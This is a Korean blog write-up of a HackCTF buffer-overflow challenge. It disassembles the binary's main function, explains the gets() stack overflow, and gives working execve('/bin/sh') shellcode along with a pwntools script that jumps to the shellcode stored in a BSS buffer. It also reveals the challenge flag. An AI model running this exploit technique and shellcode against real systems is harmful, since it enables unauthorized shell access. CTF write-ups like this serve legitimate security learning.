WriteUp/HackCTF

[HackCTF] 내 버퍼가 흘러넘친다!!!

d2n0s4ur 2021. 8. 8. 14:27

메인 함수를 덤프뜬 모습

Dump of assembler code for function main:
   0x080484cb <+0>:     push   ebp
   0x080484cc <+1>:     mov    ebp,esp
   0x080484ce <+3>:     sub    esp,0x14
   0x080484d1 <+6>:     mov    eax,ds:0x804a040
   0x080484d6 <+11>:    push   0x0
   0x080484d8 <+13>:    push   0x2
   0x080484da <+15>:    push   0x0
   0x080484dc <+17>:    push   eax
   0x080484dd <+18>:    call   0x80483b0 <setvbuf@plt>
   0x080484e2 <+23>:    add    esp,0x10
   0x080484e5 <+26>:    push   0x80485b0
   0x080484ea <+31>:    call   0x8048380 <printf@plt>
   0x080484ef <+36>:    add    esp,0x4
   0x080484f2 <+39>:    push   0x32
   0x080484f4 <+41>:    push   0x804a060
   0x080484f9 <+46>:    push   0x0
   0x080484fb <+48>:    call   0x8048370 <read@plt>
   0x08048500 <+53>:    add    esp,0xc
   0x08048503 <+56>:    push   0x80485b8
   0x08048508 <+61>:    call   0x8048380 <printf@plt>
   0x0804850d <+66>:    add    esp,0x4
   0x08048510 <+69>:    lea    eax,[ebp-0x14]
   0x08048513 <+72>:    push   eax
   0x08048514 <+73>:    call   0x8048390 <gets@plt>
   0x08048519 <+78>:    add    esp,0x4
   0x0804851c <+81>:    mov    eax,0x0
   0x08048521 <+86>:    leave
   0x08048522 <+87>:    ret
End of assembler dump.

setvbuf를 통해 입력 buf를 초기화시켜주고

printf문을 통해서 "Name : "을 출력시킨다.

이후 name이라는 공간에 0x32만큼 입력을 받고

다시 printf문을 통해서 "input : "을 출력시킨다.

gets함수를 통해 0x14(s)만큼 입력을 받는다.

이 때 gets에서 BOF가 터지는 것을 알 수 있다.

name이라는 공간은 BSS에 위치한다.

s의 크기는 0x14로 쉘코드를 모두 넣기에는 부족하다. 따라서 name에 shellcode를 넣고 s를 활용해 BOF를 시도한다.

name : \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80

s : dummy(0x14 + 4) + name's addr(0x804a060)

 

 

from pwn import *

#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz",3004)

payload1 = '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
payload2 = 'A' *(0x14 + 4) + p32(0x0804A060)

p.sendline(payload1)
p.sendline(payload2)
p.interactive()

 

shell을 획득한 모습

 

FLAG : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

 

반응형